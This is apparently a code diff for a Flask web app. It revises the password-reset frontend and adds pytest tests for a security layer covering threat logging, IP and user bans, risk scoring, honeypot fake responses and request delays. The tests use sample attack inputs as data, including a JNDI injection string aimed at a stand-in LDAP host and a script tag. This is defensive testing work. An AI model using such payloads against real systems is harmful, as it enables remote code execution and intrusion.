if (response.ok) { successDiv.textContent = '申请已提交,请等待审核'; successDiv.style.display = 'block'; setTimeout(closeForgotPassword, 2000); }
|
||||
else { errorDiv.textContent = data.error || '申请失败'; errorDiv.style.display = 'block'; }
|
||||
} catch (error) { errorDiv.textContent = '网络错误'; errorDiv.style.display = 'block'; }
|
||||
}
|
||||
async function generateCaptcha() { try { const response = await fetch('/api/generate_captcha', { method: 'POST', headers: { 'Content-Type': 'application/json' } }); const data = await response.json(); if (data.session_id && data.captcha_image) { captchaSession = data.session_id; document.getElementById('captchaImage').src = data.captcha_image; } } catch (error) { console.error('生成验证码失败:', error); } }
|
||||
async function refreshCaptcha() { await generateCaptcha(); document.getElementById('captcha').value = ''; }
|
||||
async function showForgotPassword(event) {
|
||||
event.preventDefault();
|
||||
document.getElementById('forgotPasswordModal').classList.add('active');
|
||||
document.getElementById('modalErrorMessage').style.display = 'none';
|
||||
document.getElementById('modalSuccessMessage').style.display = 'none';
|
||||
|
||||
document.getElementById('emailResetForm').style.display = 'block';
|
||||
document.getElementById('resetSubmitBtn').textContent = '发送重置邮件';
|
||||
document.getElementById('resetSubmitBtn').disabled = !emailEnabled;
|
||||
if (emailEnabled) {
|
||||
document.getElementById('resetModalDesc').textContent = '输入用户名,我们将发送重置链接到绑定邮箱';
|
||||
await generateEmailResetCaptcha();
|
||||
} else {
|
||||
document.getElementById('resetModalDesc').textContent = '邮件功能未启用,无法通过邮箱找回密码。请联系管理员重置密码。';
|
||||
}
|
||||
}
|
||||
function closeForgotPassword() {
|
||||
document.getElementById('forgotPasswordModal').classList.remove('active');
|
||||
document.getElementById('emailResetForm').reset();
|
||||
document.getElementById('modalErrorMessage').style.display = 'none';
|
||||
document.getElementById('modalSuccessMessage').style.display = 'none';
|
||||
}
|
||||
function submitResetForm() {
|
||||
document.getElementById('emailResetForm').dispatchEvent(new Event('submit'));
|
||||
}
|
||||
async function generateCaptcha() { try { const response = await fetch('/api/generate_captcha', { method: 'POST', headers: { 'Content-Type': 'application/json' } }); const data = await response.json(); if (data.session_id && data.captcha_image) { captchaSession = data.session_id; document.getElementById('captchaImage').src = data.captcha_image; } } catch (error) { console.error('生成验证码失败:', error); } }
|
||||
async function refreshCaptcha() { await generateCaptcha(); document.getElementById('captcha').value = ''; }
|
||||
|
||||
// 邮件方式重置密码相关函数
|
||||
async function generateEmailResetCaptcha() {
|
||||
@@ -359,36 +326,36 @@
|
||||
}
|
||||
} catch (error) { console.error('生成验证码失败:', error); }
|
||||
}
|
||||
async function refreshEmailResetCaptcha() { await generateEmailResetCaptcha(); document.getElementById('emailResetCaptcha').value = ''; }
|
||||
async function handleEmailReset(event) {
|
||||
event.preventDefault();
|
||||
const email = document.getElementById('emailResetEmail').value.trim();
|
||||
const captcha = document.getElementById('emailResetCaptcha').value.trim();
|
||||
const errorDiv = document.getElementById('modalErrorMessage');
|
||||
const successDiv = document.getElementById('modalSuccessMessage');
|
||||
errorDiv.style.display = 'none'; successDiv.style.display = 'none';
|
||||
|
||||
if (!email) { errorDiv.textContent = '请输入邮箱'; errorDiv.style.display = 'block'; return; }
|
||||
if (!captcha) { errorDiv.textContent = '请输入验证码'; errorDiv.style.display = 'block'; return; }
|
||||
|
||||
try {
|
||||
const response = await fetch('/api/forgot-password', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ email, captcha_session: emailResetCaptchaSession, captcha })
|
||||
});
|
||||
const data = await response.json();
|
||||
if (response.ok) {
|
||||
successDiv.innerHTML = data.message + '<br><small style="color: #666;">请检查您的邮箱(包括垃圾邮件文件夹)</small>';
|
||||
successDiv.style.display = 'block';
|
||||
setTimeout(closeForgotPassword, 3000);
|
||||
} else {
|
||||
errorDiv.textContent = data.error || '发送失败';
|
||||
errorDiv.style.display = 'block';
|
||||
await refreshEmailResetCaptcha();
|
||||
}
|
||||
} catch (error) { errorDiv.textContent = '网络错误'; errorDiv.style.display = 'block'; }
|
||||
}
|
||||
async function refreshEmailResetCaptcha() { await generateEmailResetCaptcha(); document.getElementById('emailResetCaptcha').value = ''; }
|
||||
async function handleEmailReset(event) {
|
||||
event.preventDefault();
|
||||
const username = document.getElementById('emailResetUsername').value.trim();
|
||||
const captcha = document.getElementById('emailResetCaptcha').value.trim();
|
||||
const errorDiv = document.getElementById('modalErrorMessage');
|
||||
const successDiv = document.getElementById('modalSuccessMessage');
|
||||
errorDiv.style.display = 'none'; successDiv.style.display = 'none';
|
||||
|
||||
if (!username) { errorDiv.textContent = '请输入用户名'; errorDiv.style.display = 'block'; return; }
|
||||
if (!captcha) { errorDiv.textContent = '请输入验证码'; errorDiv.style.display = 'block'; return; }
|
||||
|
||||
try {
|
||||
const response = await fetch('/api/forgot-password', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ username, captcha_session: emailResetCaptchaSession, captcha })
|
||||
});
|
||||
const data = await response.json();
|
||||
if (response.ok) {
|
||||
successDiv.innerHTML = data.message + '<br><small style="color: #666;">请检查您的邮箱(包括垃圾邮件文件夹)</small>';
|
||||
successDiv.style.display = 'block';
|
||||
setTimeout(closeForgotPassword, 3000);
|
||||
} else {
|
||||
errorDiv.textContent = data.error || '发送失败';
|
||||
errorDiv.style.display = 'block';
|
||||
await refreshEmailResetCaptcha();
|
||||
}
|
||||
} catch (error) { errorDiv.textContent = '网络错误'; errorDiv.style.display = 'block'; }
|
||||
}
|
||||
|
||||
// 重发验证邮件相关函数
|
||||
async function showResendVerify(event) {
|
||||
@@ -446,4 +413,4 @@
|
||||
document.addEventListener('keydown', (e) => { if (e.key === 'Escape') { closeForgotPassword(); closeResendVerify(); } });
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
</html>
|
||||
|
||||
249
tests/test_admin_security_api.py
Normal file
249
tests/test_admin_security_api.py
Normal file
@@ -0,0 +1,249 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from datetime import timedelta
|
||||
|
||||
import pytest
|
||||
from flask import Flask
|
||||
|
||||
import db_pool
|
||||
from db.schema import ensure_schema
|
||||
from db.utils import get_cst_now
|
||||
from security.blacklist import BlacklistManager
|
||||
from security.risk_scorer import RiskScorer
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def _test_db(tmp_path):
|
||||
db_file = tmp_path / "admin_security_api_test.db"
|
||||
|
||||
old_pool = getattr(db_pool, "_pool", None)
|
||||
try:
|
||||
if old_pool is not None:
|
||||
try:
|
||||
old_pool.close_all()
|
||||
except Exception:
|
||||
pass
|
||||
db_pool._pool = None
|
||||
db_pool.init_pool(str(db_file), pool_size=1)
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
ensure_schema(conn)
|
||||
|
||||
yield db_file
|
||||
finally:
|
||||
try:
|
||||
if getattr(db_pool, "_pool", None) is not None:
|
||||
db_pool._pool.close_all()
|
||||
except Exception:
|
||||
pass
|
||||
db_pool._pool = old_pool
|
||||
|
||||
|
||||
def _make_app() -> Flask:
|
||||
from routes.admin_api.security import security_bp
|
||||
|
||||
app = Flask(__name__)
|
||||
app.config.update(SECRET_KEY="test-secret", TESTING=True)
|
||||
app.register_blueprint(security_bp)
|
||||
return app
|
||||
|
||||
|
||||
def _login_admin(client) -> None:
|
||||
with client.session_transaction() as sess:
|
||||
sess["admin_id"] = 1
|
||||
sess["admin_username"] = "admin"
|
||||
|
||||
|
||||
def _insert_threat_event(*, threat_type: str, score: int, ip: str, user_id: int | None, created_at: str, payload: str):
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"""
|
||||
INSERT INTO threat_events (threat_type, score, ip, user_id, request_path, value_preview, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?)
|
||||
""",
|
||||
(threat_type, int(score), ip, user_id, "/api/test", payload, created_at),
|
||||
)
|
||||
conn.commit()
|
||||
|
||||
|
||||
def test_dashboard_requires_admin(_test_db):
|
||||
app = _make_app()
|
||||
client = app.test_client()
|
||||
|
||||
resp = client.get("/api/admin/security/dashboard")
|
||||
assert resp.status_code == 403
|
||||
assert resp.get_json() == {"error": "需要管理员权限"}
|
||||
|
||||
|
||||
def test_dashboard_counts_and_payload_truncation(_test_db):
|
||||
app = _make_app()
|
||||
client = app.test_client()
|
||||
_login_admin(client)
|
||||
|
||||
now = get_cst_now()
|
||||
within_24h = now.strftime("%Y-%m-%d %H:%M:%S")
|
||||
within_24h_2 = (now - timedelta(hours=1)).strftime("%Y-%m-%d %H:%M:%S")
|
||||
older = (now - timedelta(hours=25)).strftime("%Y-%m-%d %H:%M:%S")
|
||||
|
||||
long_payload = "x" * 300
|
||||
_insert_threat_event(
|
||||
threat_type="sql_injection",
|
||||
score=90,
|
||||
ip="1.2.3.4",
|
||||
user_id=10,
|
||||
created_at=within_24h,
|
||||
payload=long_payload,
|
||||
)
|
||||
_insert_threat_event(
|
||||
threat_type="xss",
|
||||
score=70,
|
||||
ip="2.3.4.5",
|
||||
user_id=11,
|
||||
created_at=within_24h_2,
|
||||
payload="short",
|
||||
)
|
||||
_insert_threat_event(
|
||||
threat_type="path_traversal",
|
||||
score=60,
|
||||
ip="9.9.9.9",
|
||||
user_id=None,
|
||||
created_at=older,
|
||||
payload="old",
|
||||
)
|
||||
|
||||
manager = BlacklistManager()
|
||||
manager.ban_ip("8.8.8.8", reason="manual", duration_hours=1, permanent=False)
|
||||
manager._ban_user_internal(123, reason="manual", duration_hours=1, permanent=False)
|
||||
|
||||
resp = client.get("/api/admin/security/dashboard")
|
||||
assert resp.status_code == 200
|
||||
data = resp.get_json()
|
||||
|
||||
assert data["threat_events_24h"] == 2
|
||||
assert data["banned_ip_count"] == 1
|
||||
assert data["banned_user_count"] == 1
|
||||
|
||||
recent = data["recent_threat_events"]
|
||||
assert isinstance(recent, list)
|
||||
assert len(recent) == 3
|
||||
|
||||
payload_preview = recent[0]["value_preview"]
|
||||
assert isinstance(payload_preview, str)
|
||||
assert len(payload_preview) <= 200
|
||||
assert payload_preview.endswith("...")
|
||||
|
||||
|
||||
def test_threats_pagination_and_filters(_test_db):
|
||||
app = _make_app()
|
||||
client = app.test_client()
|
||||
_login_admin(client)
|
||||
|
||||
now = get_cst_now()
|
||||
t1 = (now - timedelta(minutes=1)).strftime("%Y-%m-%d %H:%M:%S")
|
||||
t2 = (now - timedelta(minutes=2)).strftime("%Y-%m-%d %H:%M:%S")
|
||||
t3 = (now - timedelta(minutes=3)).strftime("%Y-%m-%d %H:%M:%S")
|
||||
|
||||
_insert_threat_event(threat_type="sql_injection", score=90, ip="1.1.1.1", user_id=1, created_at=t1, payload="a")
|
||||
_insert_threat_event(threat_type="xss", score=70, ip="2.2.2.2", user_id=2, created_at=t2, payload="b")
|
||||
_insert_threat_event(threat_type="nested_expression", score=80, ip="3.3.3.3", user_id=3, created_at=t3, payload="c")
|
||||
|
||||
resp = client.get("/api/admin/security/threats?page=1&per_page=2")
|
||||
assert resp.status_code == 200
|
||||
data = resp.get_json()
|
||||
assert data["total"] == 3
|
||||
assert len(data["items"]) == 2
|
||||
|
||||
resp2 = client.get("/api/admin/security/threats?page=2&per_page=2")
|
||||
assert resp2.status_code == 200
|
||||
data2 = resp2.get_json()
|
||||
assert data2["total"] == 3
|
||||
assert len(data2["items"]) == 1
|
||||
|
||||
resp3 = client.get("/api/admin/security/threats?event_type=sql_injection")
|
||||
assert resp3.status_code == 200
|
||||
data3 = resp3.get_json()
|
||||
assert data3["total"] == 1
|
||||
assert data3["items"][0]["threat_type"] == "sql_injection"
|
||||
|
||||
resp4 = client.get("/api/admin/security/threats?severity=high")
|
||||
assert resp4.status_code == 200
|
||||
data4 = resp4.get_json()
|
||||
assert data4["total"] == 2
|
||||
assert {item["threat_type"] for item in data4["items"]} == {"sql_injection", "nested_expression"}
|
||||
|
||||
|
||||
def test_ban_and_unban_ip(_test_db):
|
||||
app = _make_app()
|
||||
client = app.test_client()
|
||||
_login_admin(client)
|
||||
|
||||
resp = client.post("/api/admin/security/ban-ip", json={"ip": "7.7.7.7", "reason": "test", "duration_hours": 1})
|
||||
assert resp.status_code == 200
|
||||
assert resp.get_json()["success"] is True
|
||||
|
||||
list_resp = client.get("/api/admin/security/banned-ips")
|
||||
assert list_resp.status_code == 200
|
||||
payload = list_resp.get_json()
|
||||
assert payload["count"] == 1
|
||||
assert payload["items"][0]["ip"] == "7.7.7.7"
|
||||
|
||||
resp2 = client.post("/api/admin/security/unban-ip", json={"ip": "7.7.7.7"})
|
||||
assert resp2.status_code == 200
|
||||
assert resp2.get_json()["success"] is True
|
||||
|
||||
list_resp2 = client.get("/api/admin/security/banned-ips")
|
||||
assert list_resp2.status_code == 200
|
||||
assert list_resp2.get_json()["count"] == 0
|
||||
|
||||
|
||||
def test_risk_endpoints_and_cleanup(_test_db):
|
||||
app = _make_app()
|
||||
client = app.test_client()
|
||||
_login_admin(client)
|
||||
|
||||
scorer = RiskScorer(auto_ban_enabled=False)
|
||||
scorer.record_threat("4.4.4.4", 44, threat_type="xss", score=20, request_path="/", payload="<script>")
|
||||
|
||||
ip_resp = client.get("/api/admin/security/ip-risk/4.4.4.4")
|
||||
assert ip_resp.status_code == 200
|
||||
ip_data = ip_resp.get_json()
|
||||
assert ip_data["risk_score"] == 20
|
||||
assert len(ip_data["threat_history"]) >= 1
|
||||
|
||||
user_resp = client.get("/api/admin/security/user-risk/44")
|
||||
assert user_resp.status_code == 200
|
||||
user_data = user_resp.get_json()
|
||||
assert user_data["risk_score"] == 20
|
||||
assert len(user_data["threat_history"]) >= 1
|
||||
|
||||
# Prepare decaying scores and expired ban
|
||||
old_ts = (get_cst_now() - timedelta(hours=2)).strftime("%Y-%m-%d %H:%M:%S")
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"""
|
||||
INSERT INTO ip_risk_scores (ip, risk_score, last_seen, created_at, updated_at)
|
||||
VALUES (?, 100, ?, ?, ?)
|
||||
""",
|
||||
("5.5.5.5", old_ts, old_ts, old_ts),
|
||||
)
|
||||
cursor.execute(
|
||||
"""
|
||||
INSERT INTO ip_blacklist (ip, reason, is_active, added_at, expires_at)
|
||||
VALUES (?, ?, 1, ?, ?)
|
||||
""",
|
||||
("6.6.6.6", "expired", old_ts, old_ts),
|
||||
)
|
||||
conn.commit()
|
||||
|
||||
manager = BlacklistManager()
|
||||
assert manager.is_ip_banned("6.6.6.6") is False # expired already
|
||||
|
||||
cleanup_resp = client.post("/api/admin/security/cleanup", json={})
|
||||
assert cleanup_resp.status_code == 200
|
||||
assert cleanup_resp.get_json()["success"] is True
|
||||
|
||||
# Score decayed by cleanup
|
||||
assert RiskScorer().get_ip_score("5.5.5.5") == 81
|
||||
|
||||
63
tests/test_honeypot_responder.py
Normal file
63
tests/test_honeypot_responder.py
Normal file
@@ -0,0 +1,63 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import uuid
|
||||
|
||||
from security import HoneypotResponder
|
||||
|
||||
|
||||
def test_should_use_honeypot_threshold():
|
||||
responder = HoneypotResponder()
|
||||
assert responder.should_use_honeypot(79) is False
|
||||
assert responder.should_use_honeypot(80) is True
|
||||
assert responder.should_use_honeypot(100) is True
|
||||
|
||||
|
||||
def test_generate_fake_response_email():
|
||||
responder = HoneypotResponder()
|
||||
resp = responder.generate_fake_response("/api/forgot-password")
|
||||
assert resp["success"] is True
|
||||
assert resp["message"] == "邮件已发送"
|
||||
|
||||
|
||||
def test_generate_fake_response_register_contains_fake_uuid():
|
||||
responder = HoneypotResponder()
|
||||
resp = responder.generate_fake_response("/api/register")
|
||||
assert resp["success"] is True
|
||||
assert "user_id" in resp
|
||||
uuid.UUID(resp["user_id"])
|
||||
|
||||
|
||||
def test_generate_fake_response_login():
|
||||
responder = HoneypotResponder()
|
||||
resp = responder.generate_fake_response("/api/login")
|
||||
assert resp == {"success": True}
|
||||
|
||||
|
||||
def test_generate_fake_response_generic():
|
||||
responder = HoneypotResponder()
|
||||
resp = responder.generate_fake_response("/api/tasks/run")
|
||||
assert resp["success"] is True
|
||||
assert resp["message"] == "操作成功"
|
||||
|
||||
|
||||
def test_delay_response_ranges():
|
||||
responder = HoneypotResponder()
|
||||
|
||||
assert responder.delay_response(0) == 0
|
||||
assert responder.delay_response(20) == 0
|
||||
|
||||
d = responder.delay_response(21)
|
||||
assert 0.5 <= d <= 1.0
|
||||
d = responder.delay_response(50)
|
||||
assert 0.5 <= d <= 1.0
|
||||
|
||||
d = responder.delay_response(51)
|
||||
assert 1.0 <= d <= 3.0
|
||||
d = responder.delay_response(80)
|
||||
assert 1.0 <= d <= 3.0
|
||||
|
||||
d = responder.delay_response(81)
|
||||
assert 3.0 <= d <= 8.0
|
||||
d = responder.delay_response(100)
|
||||
assert 3.0 <= d <= 8.0
|
||||
|
||||
72
tests/test_response_handler.py
Normal file
72
tests/test_response_handler.py
Normal file
@@ -0,0 +1,72 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import random
|
||||
|
||||
import security.response_handler as rh
|
||||
from security import ResponseAction, ResponseHandler, ResponseStrategy
|
||||
|
||||
|
||||
def test_get_strategy_banned_blocks():
|
||||
handler = ResponseHandler(rng=random.Random(0))
|
||||
strategy = handler.get_strategy(10, is_banned=True)
|
||||
assert strategy.action == ResponseAction.BLOCK
|
||||
assert strategy.delay_seconds == 0
|
||||
assert strategy.message == "访问被拒绝"
|
||||
|
||||
|
||||
def test_get_strategy_allow_levels():
|
||||
handler = ResponseHandler(rng=random.Random(0))
|
||||
|
||||
s = handler.get_strategy(0)
|
||||
assert s.action == ResponseAction.ALLOW
|
||||
assert s.delay_seconds == 0
|
||||
assert s.captcha_level == 1
|
||||
|
||||
s = handler.get_strategy(21)
|
||||
assert s.action == ResponseAction.ALLOW
|
||||
assert s.delay_seconds == 0
|
||||
assert s.captcha_level == 2
|
||||
|
||||
|
||||
def test_get_strategy_delay_ranges():
|
||||
handler = ResponseHandler(rng=random.Random(0))
|
||||
|
||||
s = handler.get_strategy(41)
|
||||
assert s.action == ResponseAction.DELAY
|
||||
assert 1.0 <= s.delay_seconds <= 2.0
|
||||
|
||||
s = handler.get_strategy(61)
|
||||
assert s.action == ResponseAction.DELAY
|
||||
assert 2.0 <= s.delay_seconds <= 5.0
|
||||
|
||||
s = handler.get_strategy(81)
|
||||
assert s.action == ResponseAction.HONEYPOT
|
||||
assert 3.0 <= s.delay_seconds <= 8.0
|
||||
|
||||
|
||||
def test_apply_delay_uses_time_sleep(monkeypatch):
|
||||
handler = ResponseHandler(rng=random.Random(0))
|
||||
strategy = ResponseStrategy(action=ResponseAction.DELAY, delay_seconds=1.234)
|
||||
|
||||
called = {"count": 0, "seconds": None}
|
||||
|
||||
def fake_sleep(seconds):
|
||||
called["count"] += 1
|
||||
called["seconds"] = seconds
|
||||
|
||||
monkeypatch.setattr(rh.time, "sleep", fake_sleep)
|
||||
|
||||
handler.apply_delay(strategy)
|
||||
assert called["count"] == 1
|
||||
assert called["seconds"] == 1.234
|
||||
|
||||
|
||||
def test_get_captcha_requirement():
|
||||
handler = ResponseHandler(rng=random.Random(0))
|
||||
|
||||
req = handler.get_captcha_requirement(ResponseStrategy(action=ResponseAction.ALLOW, captcha_level=2))
|
||||
assert req == {"required": True, "level": 2}
|
||||
|
||||
req = handler.get_captcha_requirement(ResponseStrategy(action=ResponseAction.BLOCK, captcha_level=2))
|
||||
assert req == {"required": False, "level": 2}
|
||||
|
||||
179
tests/test_risk_scorer.py
Normal file
179
tests/test_risk_scorer.py
Normal file
@@ -0,0 +1,179 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from datetime import timedelta
|
||||
|
||||
import pytest
|
||||
|
||||
import db_pool
|
||||
from db.schema import ensure_schema
|
||||
from db.utils import get_cst_now
|
||||
from security import constants as C
|
||||
from security.blacklist import BlacklistManager
|
||||
from security.risk_scorer import RiskScorer
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def _test_db(tmp_path):
|
||||
db_file = tmp_path / "risk_scorer_test.db"
|
||||
|
||||
old_pool = getattr(db_pool, "_pool", None)
|
||||
try:
|
||||
if old_pool is not None:
|
||||
try:
|
||||
old_pool.close_all()
|
||||
except Exception:
|
||||
pass
|
||||
db_pool._pool = None
|
||||
db_pool.init_pool(str(db_file), pool_size=1)
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
ensure_schema(conn)
|
||||
|
||||
yield db_file
|
||||
finally:
|
||||
try:
|
||||
if getattr(db_pool, "_pool", None) is not None:
|
||||
db_pool._pool.close_all()
|
||||
except Exception:
|
||||
pass
|
||||
db_pool._pool = old_pool
|
||||
|
||||
|
||||
def test_record_threat_updates_scores_and_combined(_test_db):
|
||||
manager = BlacklistManager()
|
||||
scorer = RiskScorer(blacklist_manager=manager)
|
||||
|
||||
ip = "1.2.3.4"
|
||||
user_id = 123
|
||||
|
||||
assert scorer.get_ip_score(ip) == 0
|
||||
assert scorer.get_user_score(user_id) == 0
|
||||
assert scorer.get_combined_score(ip, user_id) == 0
|
||||
|
||||
scorer.record_threat(ip, user_id, threat_type="sql_injection", score=30, request_path="/login", payload="x")
|
||||
|
||||
assert scorer.get_ip_score(ip) == 30
|
||||
assert scorer.get_user_score(user_id) == 30
|
||||
assert scorer.get_combined_score(ip, user_id) == 30
|
||||
|
||||
scorer.record_threat(ip, user_id, threat_type="sql_injection", score=80, request_path="/login", payload="y")
|
||||
|
||||
assert scorer.get_ip_score(ip) == 100
|
||||
assert scorer.get_user_score(user_id) == 100
|
||||
assert scorer.get_combined_score(ip, user_id) == 100
|
||||
|
||||
|
||||
def test_auto_ban_on_score_100(_test_db):
|
||||
manager = BlacklistManager()
|
||||
scorer = RiskScorer(blacklist_manager=manager)
|
||||
|
||||
ip = "5.6.7.8"
|
||||
user_id = 456
|
||||
|
||||
scorer.record_threat(ip, user_id, threat_type="sql_injection", score=100, request_path="/api", payload="boom")
|
||||
|
||||
assert manager.is_ip_banned(ip) is True
|
||||
assert manager.is_user_banned(user_id) is True
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("SELECT expires_at FROM ip_blacklist WHERE ip = ?", (ip,))
|
||||
row = cursor.fetchone()
|
||||
assert row is not None
|
||||
assert row["expires_at"] is not None
|
||||
|
||||
cursor.execute("SELECT expires_at FROM user_blacklist WHERE user_id = ?", (user_id,))
|
||||
row = cursor.fetchone()
|
||||
assert row is not None
|
||||
assert row["expires_at"] is not None
|
||||
|
||||
|
||||
def test_jndi_injection_permanent_ban(_test_db):
|
||||
manager = BlacklistManager()
|
||||
scorer = RiskScorer(blacklist_manager=manager)
|
||||
|
||||
ip = "9.9.9.9"
|
||||
user_id = 999
|
||||
|
||||
scorer.record_threat(ip, user_id, threat_type=C.THREAT_TYPE_JNDI_INJECTION, score=100, request_path="/", payload="${jndi:ldap://x}")
|
||||
|
||||
assert manager.is_ip_banned(ip) is True
|
||||
assert manager.is_user_banned(user_id) is True
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("SELECT expires_at FROM ip_blacklist WHERE ip = ?", (ip,))
|
||||
row = cursor.fetchone()
|
||||
assert row is not None
|
||||
assert row["expires_at"] is None
|
||||
|
||||
cursor.execute("SELECT expires_at FROM user_blacklist WHERE user_id = ?", (user_id,))
|
||||
row = cursor.fetchone()
|
||||
assert row is not None
|
||||
assert row["expires_at"] is None
|
||||
|
||||
|
||||
def test_high_risk_three_times_permanent_ban(_test_db):
|
||||
manager = BlacklistManager()
|
||||
scorer = RiskScorer(blacklist_manager=manager, high_risk_threshold=80, high_risk_permanent_ban_count=3)
|
||||
|
||||
ip = "10.0.0.1"
|
||||
user_id = 1
|
||||
|
||||
scorer.record_threat(ip, user_id, threat_type="nested_expression", score=80, request_path="/", payload="a")
|
||||
scorer.record_threat(ip, user_id, threat_type="nested_expression", score=80, request_path="/", payload="b")
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("SELECT expires_at FROM ip_blacklist WHERE ip = ?", (ip,))
|
||||
row = cursor.fetchone()
|
||||
assert row is not None
|
||||
assert row["expires_at"] is not None # score hits 100 => temporary ban first
|
||||
|
||||
scorer.record_threat(ip, user_id, threat_type="nested_expression", score=80, request_path="/", payload="c")
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("SELECT expires_at FROM ip_blacklist WHERE ip = ?", (ip,))
|
||||
row = cursor.fetchone()
|
||||
assert row is not None
|
||||
assert row["expires_at"] is None # 3 high-risk threats => permanent
|
||||
|
||||
cursor.execute("SELECT expires_at FROM user_blacklist WHERE user_id = ?", (user_id,))
|
||||
row = cursor.fetchone()
|
||||
assert row is not None
|
||||
assert row["expires_at"] is None
|
||||
|
||||
|
||||
def test_decay_scores_hourly_10_percent(_test_db):
|
||||
manager = BlacklistManager()
|
||||
scorer = RiskScorer(blacklist_manager=manager)
|
||||
|
||||
ip = "3.3.3.3"
|
||||
user_id = 11
|
||||
|
||||
old_ts = (get_cst_now() - timedelta(hours=2)).strftime("%Y-%m-%d %H:%M:%S")
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"""
|
||||
INSERT INTO ip_risk_scores (ip, risk_score, last_seen, created_at, updated_at)
|
||||
VALUES (?, 100, ?, ?, ?)
|
||||
""",
|
||||
(ip, old_ts, old_ts, old_ts),
|
||||
)
|
||||
cursor.execute(
|
||||
"""
|
||||
INSERT INTO user_risk_scores (user_id, risk_score, last_seen, created_at, updated_at)
|
||||
VALUES (?, 100, ?, ?, ?)
|
||||
""",
|
||||
(user_id, old_ts, old_ts, old_ts),
|
||||
)
|
||||
conn.commit()
|
||||
|
||||
scorer.decay_scores()
|
||||
|
||||
assert scorer.get_ip_score(ip) == 81
|
||||
assert scorer.get_user_score(user_id) == 81
|
||||
|
||||
155
tests/test_security_middleware.py
Normal file
155
tests/test_security_middleware.py
Normal file
@@ -0,0 +1,155 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import pytest
|
||||
from flask import Flask, g, jsonify
|
||||
from flask_login import LoginManager
|
||||
|
||||
import db_pool
|
||||
from db.schema import ensure_schema
|
||||
from security import init_security_middleware
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def _test_db(tmp_path):
|
||||
db_file = tmp_path / "security_middleware_test.db"
|
||||
|
||||
old_pool = getattr(db_pool, "_pool", None)
|
||||
try:
|
||||
if old_pool is not None:
|
||||
try:
|
||||
old_pool.close_all()
|
||||
except Exception:
|
||||
pass
|
||||
db_pool._pool = None
|
||||
db_pool.init_pool(str(db_file), pool_size=1)
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
ensure_schema(conn)
|
||||
|
||||
yield db_file
|
||||
finally:
|
||||
try:
|
||||
if getattr(db_pool, "_pool", None) is not None:
|
||||
db_pool._pool.close_all()
|
||||
except Exception:
|
||||
pass
|
||||
db_pool._pool = old_pool
|
||||
|
||||
|
||||
def _make_app(monkeypatch, _test_db, *, security_enabled: bool = True, honeypot_enabled: bool = True) -> Flask:
|
||||
import security.middleware as sm
|
||||
import security.response_handler as rh
|
||||
|
||||
# 避免测试因风控延迟而变慢
|
||||
monkeypatch.setattr(rh.time, "sleep", lambda _seconds: None)
|
||||
|
||||
# 每个测试用例保持 handler/honeypot 的懒加载状态
|
||||
sm.handler = None
|
||||
sm.honeypot = None
|
||||
|
||||
app = Flask(__name__)
|
||||
app.config.update(
|
||||
SECRET_KEY="test-secret",
|
||||
TESTING=True,
|
||||
SECURITY_ENABLED=bool(security_enabled),
|
||||
HONEYPOT_ENABLED=bool(honeypot_enabled),
|
||||
SECURITY_LOG_LEVEL="CRITICAL", # 降低测试日志噪音
|
||||
)
|
||||
|
||||
login_manager = LoginManager()
|
||||
login_manager.init_app(app)
|
||||
|
||||
@login_manager.user_loader
|
||||
def _load_user(_user_id: str):
|
||||
return None
|
||||
|
||||
init_security_middleware(app)
|
||||
return app
|
||||
|
||||
|
||||
def _client_get(app: Flask, path: str, *, ip: str = "1.2.3.4"):
|
||||
return app.test_client().get(path, environ_overrides={"REMOTE_ADDR": ip})
|
||||
|
||||
|
||||
def test_middleware_blocks_banned_ip(_test_db, monkeypatch):
|
||||
app = _make_app(monkeypatch, _test_db)
|
||||
|
||||
@app.get("/api/ping")
|
||||
def _ping():
|
||||
return jsonify({"ok": True})
|
||||
|
||||
import security.middleware as sm
|
||||
|
||||
sm.blacklist.ban_ip("1.2.3.4", reason="test", duration_hours=1, permanent=False)
|
||||
|
||||
resp = _client_get(app, "/api/ping", ip="1.2.3.4")
|
||||
assert resp.status_code == 503
|
||||
assert resp.get_json() == {"error": "服务暂时繁忙,请稍后重试"}
|
||||
|
||||
|
||||
def test_middleware_skips_static_requests(_test_db, monkeypatch):
|
||||
app = _make_app(monkeypatch, _test_db)
|
||||
|
||||
@app.get("/static/test")
|
||||
def _static_test():
|
||||
return "ok"
|
||||
|
||||
import security.middleware as sm
|
||||
|
||||
sm.blacklist.ban_ip("1.2.3.4", reason="test", duration_hours=1, permanent=False)
|
||||
|
||||
resp = _client_get(app, "/static/test", ip="1.2.3.4")
|
||||
assert resp.status_code == 200
|
||||
assert resp.get_data(as_text=True) == "ok"
|
||||
|
||||
|
||||
def test_middleware_honeypot_short_circuits_side_effects(_test_db, monkeypatch):
|
||||
app = _make_app(monkeypatch, _test_db, honeypot_enabled=True)
|
||||
|
||||
called = {"count": 0}
|
||||
|
||||
@app.get("/api/side-effect")
|
||||
def _side_effect():
|
||||
called["count"] += 1
|
||||
return jsonify({"real": True})
|
||||
|
||||
